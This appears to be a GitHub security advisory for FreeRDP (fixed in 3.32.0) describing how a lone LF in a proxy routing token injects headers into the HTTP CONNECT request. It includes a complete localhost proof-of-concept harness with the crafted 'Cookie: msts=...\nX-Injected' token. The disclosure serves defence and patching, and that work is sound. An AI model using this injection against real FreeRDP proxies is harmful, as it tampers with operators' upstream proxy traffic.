All vulnerabilities
GHSA-87v8-2gwr-ww9j

FreeRDP proxy routing token can inject HTTP CONNECT request headers

FreeRDP
CVSS
4.0Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published30 Sep 2026Updated 30 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

A remote RDP client can place a lone LF in the target portion of a FreeRDP proxy routing token. When the FreeRDP proxy is configured with FixedTarget=false and uses an upstream HTTP proxy, FreeRDP preserves the LF in FreeRDP_ServerHostname and writes it into both the CONNECT request line and the Host header. This changes HTTP request/header framing at the operator's upstream proxy.

The demonstrated impact is limited to HTTP request/header integrity. The validation did not demonstrate a second request, internal-service access, returned response, confidentiality loss, availability loss, memory corruption, or code execution.

Prerequisites

  • Mallory can connect to the FreeRDP proxy listener.
  • The proxy uses FixedTarget=false.
  • The proxy uses an upstream HTTP proxy.
  • The downstream HTTP implementation treats lone LF as a line delimiter.

Technical details

nego_read_request_token_or_cookie in libfreerdp/core/nego.c terminates the routing token only on an exact CRLF pair, so a lone LF survives. pf_server_parse_target_from_routing_token in server/proxy/pf_server.c copies the complete suffix after Cookie: msts= into the destination hostname without rejecting HTTP delimiter bytes. http_proxy_connect in libfreerdp/core/proxy.c then writes that hostname into the CONNECT authority and Host header without validation.

The control token:

Cookie: msts=victim.example

produced exactly:

CONNECT victim.example:3389 HTTP/1.1\r\n
Host: victim.example:3389\r\n
\r\n

The positive token:

Cookie: msts=victim.example\nX-Injected

produced exactly:

CONNECT victim.example\n
X-Injected:3389 HTTP/1.1\r\n
Host: victim.example\n
X-Injected:3389\r\n
\r\n

Reproduction

The sibling poc/ directory contains a portable positive case and control using FreeRDP's shipped proxy and Sample client sources. From the disclosure directory:

cd poc
./run.sh SOURCE_DIR BUILD_DIR

The final replay printed:

PASS control: 67 bytes sha256=78900b8b4d5131ad11a571786ff0730bff460d23c7433763eac0713a2b9d0984
PASS positive: 89 bytes sha256=c1ecc5b8f0c364628e9ca4bae6e14ecdeedbb1af47d849f339bbd382c6057651
PASS positive: attacker-controlled LF changed both HTTP header contexts

Remediation

Validate every hostname at the shared http_proxy_connect sink and reject CR, LF, NUL, spaces, and other bytes that cannot occur in an HTTP authority before serializing the request. Independently parse and validate routing-token targets in pf_server_parse_target_from_routing_token. Add end-to-end regression cases for lone LF, lone CR, CRLF, NUL, and a well-formed control.

Portable PoC files

<!-- BEGIN FILE: poc/build_sample_client.sh -->

#!/usr/bin/env bash
set -euo pipefail

if [[ $# -ne 3 ]]; then
    echo "usage: $0 SOURCE_DIR BUILD_DIR OUTPUT" >&2
    exit 2
fi

SOURCE=$(cd "$1" && pwd)
BUILD=$(cd "$2" && pwd)
OUTPUT=$3

find_library() {
    local pattern=$1
    local library
    library=$(find "$BUILD" -type f -name "$pattern" -print | sort -V | tail -n 1)
    if [[ -z "$library" ]]; then
        echo "required library not found: $pattern" >&2
        exit 1
    fi
    printf '%s\n' "$library"
}

CLIENT_LIB=$(find_library 'libfreerdp-client3.so.*')
CORE_LIB=$(find_library 'libfreerdp3.so.*')
WINPR_LIB=$(find_library 'libwinpr3.so.*')

SANITIZER_FLAGS=()
if readelf -d "$CORE_LIB" 2>/dev/null | grep -qE 'libasan|libubsan'; then
    SANITIZER_FLAGS=(-fsanitize=address,undefined -fno-omit-frame-pointer)
fi

cc -std=c11 -O1 -g "${SANITIZER_FLAGS[@]}" \
    -I"$BUILD/include" -I"$BUILD/winpr/include" \
    -I"$SOURCE/include" -I"$SOURCE/winpr/include" \
    -I"$SOURCE/client/Sample" \
    "$SOURCE/client/Sample/tf_freerdp.c" \
    "$SOURCE/client/Sample/tf_channels.c" \
    "$CLIENT_LIB" "$CORE_LIB" "$WINPR_LIB" \
    -Wl,--allow-shlib-undefined -o "$OUTPUT"

<!-- END FILE: poc/build_sample_client.sh -->

<!-- BEGIN FILE: poc/capture_proxy.py -->

#!/usr/bin/env python3
import argparse
import socket
from pathlib import Path


def visible(data: bytes) -> str:
    rendered = []
    for byte in data:
        if byte == 0x0D:
            rendered.append("\\r")
        elif byte == 0x0A:
            rendered.append("\\n\n")
        elif 0x20 <= byte <= 0x7E:
            rendered.append(chr(byte))
        else:
            rendered.append(f"\\x{byte:02x}")
    return "".join(rendered)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("port", type=int)
    parser.add_argument("output", type=Path)
    args = parser.parse_args()

    args.output.mkdir(parents=True, exist_ok=True)
    with socket.socket() as listener:
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind(("127.0.0.1", args.port))
        listener.listen(1)
        listener.settimeout(20)
        connection, _ = listener.accept()

    with connection:
        connection.settimeout(5)
        data = bytearray()
        while b"\r\n\r\n" not in data and len(data) < 65536:
            chunk = connection.recv(4096)
            if not chunk:
                break
            data.extend(chunk)

        raw = bytes(data)
        (args.output / "request.bin").write_bytes(raw)
        (args.output / "request.hex").write_text(raw.hex() + "\n", encoding="ascii")
        (args.output / "request.visible.txt").write_text(
            visible(raw), encoding="utf-8"
        )
        connection.sendall(b"HTTP/1.1 200 Connection established\r\n\r\n")

    print(f"captured {len(raw)} bytes")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

<!-- END FILE: poc/capture_proxy.py -->

<!-- BEGIN FILE: poc/run.sh -->

#!/usr/bin/env bash
set -euo pipefail

if [[ $# -ne 2 ]]; then
    echo "usage: $0 SOURCE_DIR BUILD_DIR" >&2
    exit 2
fi

POC_DIR=$(cd "$(dirname "$0")" && pwd)
SOURCE=$(cd "$1" && pwd)
BUILD=$(cd "$2" && pwd)
REVISION=$(git -c safe.directory="$SOURCE" -C "$SOURCE" rev-parse HEAD)

case "$REVISION" in
    63b948ca5cb94307fd5444ee6e73927a41ccdab4|\
    fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3|\
    193fe551c9925c761722f589437decf9bc81d7aa)
        ;;
    *)
        echo "unsupported source revision: $REVISION" >&2
        echo "use FreeRDP 3.31.1 or one of the two inspected master revisions" >&2
        exit 1
        ;;
esac

PROXY=$(find "$BUILD" -type f -path '*/server/proxy/cli/freerdp-proxy' \
    -perm -u+x -print -quit)
if [[ -z "$PROXY" ]]; then
    echo "freerdp-proxy was not found in BUILD_DIR" >&2
    exit 1
fi

WORK_ROOT=${POC_WORK_ROOT:-$PWD}
WORK=$(mktemp -d "$WORK_ROOT/freerdp-routing-token.XXXXXX")
PROXY_PID=
CAPTURE_PID=
cleanup() {
    if [[ -n "$CAPTURE_PID" ]] && kill -0 "$CAPTURE_PID" 2>/dev/null; then
        kill "$CAPTURE_PID" 2>/dev/null || true
        wait "$CAPTURE_PID" 2>/dev/null || true
    fi
    if [[ -n "$PROXY_PID" ]] && kill -0 "$PROXY_PID" 2>/dev/null; then
        kill "$PROXY_PID" 2>/dev/null || true
        wait "$PROXY_PID" 2>/dev/null || true
    fi
    if [[ ${KEEP_ARTIFACTS:-0} == 1 ]]; then
        echo "artifacts retained in $WORK"
    else
        rm -rf "$WORK"
    fi
}
trap cleanup EXIT

read -r PROXY_PORT CAPTURE_PORT < <(python3 - <<'PY'
import socket

sockets = []
ports = []
for _ in range(2):
    sock = socket.socket()
    sock.bind(("127.0.0.1", 0))
    sockets.append(sock)
    ports.append(sock.getsockname()[1])
print(*ports)
for sock in sockets:
    sock.close()
PY
)

openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
    -subj '/CN=localhost' -keyout "$WORK/key.pem" -out "$WORK/cert.pem" \
    >/dev/null 2>&1

cat >"$WORK/proxy.ini" <<EOF
[Server]
Host=127.0.0.1
Port=$PROXY_PORT

[Target]
FixedTarget=false
Port=3389
TlsSecLevel=1
SmartcardAuth=false

[Codecs]
RFX=true
NSC=true

[Channels]
GFX=true
DisplayControl=true
Clipboard=true
AudioInput=false
AudioOutput=false
DeviceRedirection=false
VideoRedirection=false
CameraRedirection=false
RemoteApp=false
PassthroughIsBlacklist=true

[Input]
Keyboard=true
Mouse=true
Multitouch=false

[Security]
ServerTlsSecurity=true
ServerNlaSecurity=false
ServerExtSecurity=false
ServerRdpSecurity=false
ClientTlsSecurity=true
ClientNlaSecurity=false
ClientExtSecurity=false
ClientRdpSecurity=false
ClientAllowFallbackToTls=false

[Certificates]
CertificateFile=$WORK/cert.pem
PrivateKeyFile=$WORK/key.pem
EOF

BUILD_LIBS=$(find "$BUILD" -type f -name '*.so.*' -printf '%h\n' | sort -u | paste -sd: -)
DEPS_DIR=$(dirname "$BUILD")/deps
DEP_LIBS=
if [[ -d "$DEPS_DIR" ]]; then
    DEP_LIBS=$(find "$DEPS_DIR" -type f -name '*.so.*' -printf '%h\n' | sort -u | paste -sd: -)
fi
export LD_LIBRARY_PATH="$BUILD_LIBS${DEP_LIBS:+:$DEP_LIBS}"

"$POC_DIR/build_sample_client.sh" "$SOURCE" "$BUILD" "$WORK/sfreerdp" \
    >"$WORK/build.stdout" 2>"$WORK/build.stderr"

HTTPS_PROXY="http://127.0.0.1:$CAPTURE_PORT" \
https_proxy="http://127.0.0.1:$CAPTURE_PORT" \
NO_PROXY= no_proxy= \
    "$PROXY" "$WORK/proxy.ini" >"$WORK/proxy.stdout" 2>"$WORK/proxy.stderr" &
PROXY_PID=$!

for _ in $(seq 1 100); do
    if (echo >/dev/tcp/127.0.0.1/"$PROXY_PORT") 2>/dev/null; then
        break
    fi
    sleep 0.1
done
kill -0 "$PROXY_PID"

run_case() {
    local name=$1
    local token=$2
    local output="$WORK/$name"
    mkdir -p "$output"

    timeout 25 python3 "$POC_DIR/capture_proxy.py" "$CAPTURE_PORT" "$output" \
        >"$output/capture.stdout" 2>"$output/capture.stderr" &
    CAPTURE_PID=$!
    sleep 0.2

    timeout 20 env -u HTTPS_PROXY -u https_proxy -u NO_PROXY -u no_proxy \
        "$WORK/sfreerdp" \
        /v:127.0.0.1:"$PROXY_PORT" /u:alice /p:demonstration-only \
        /cert:ignore /sec:tls /log-level:WARN \
        "/load-balance-info:$token" \
        >"$output/client.stdout" 2>"$output/client.stderr"

    wait "$CAPTURE_PID"
    CAPTURE_PID=
}

run_case control 'Cookie: msts=victim.example'
run_case positive $'Cookie: msts=victim.example\nX-Injected'
python3 "$POC_DIR/verify.py" "$WORK"

<!-- END FILE: poc/run.sh -->

<!-- BEGIN FILE: poc/verify.py -->

#!/usr/bin/env python3
import argparse
import hashlib
from pathlib import Path


CONTROL = (
    b"CONNECT victim.example:3389 HTTP/1.1\r\n"
    b"Host: victim.example:3389\r\n"
    b"\r\n"
)
POSITIVE = (
    b"CONNECT victim.example\nX-Injected:3389 HTTP/1.1\r\n"
    b"Host: victim.example\nX-Injected:3389\r\n"
    b"\r\n"
)


def check(label: str, path: Path, expected: bytes) -> None:
    actual = path.read_bytes()
    if actual != expected:
        raise SystemExit(
            f"FAIL {label}: captured bytes differ\n"
            f"expected={expected!r}\nactual={actual!r}"
        )
    digest = hashlib.sha256(actual).hexdigest()
    print(f"PASS {label}: {len(actual)} bytes sha256={digest}")


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("workdir", type=Path)
    args = parser.parse_args()

    check("control", args.workdir / "control" / "request.bin", CONTROL)
    check("positive", args.workdir / "positive" / "request.bin", POSITIVE)

    positive = (args.workdir / "positive" / "request.bin").read_bytes()
    if positive.count(b"\nX-Injected:3389") != 2:
        raise SystemExit("FAIL positive: injected line did not occur twice")
    print("PASS positive: attacker-controlled LF changed both HTTP header contexts")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

<!-- END FILE: poc/verify.py -->

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c>= 3.0.0, <= 3.31.1GitHub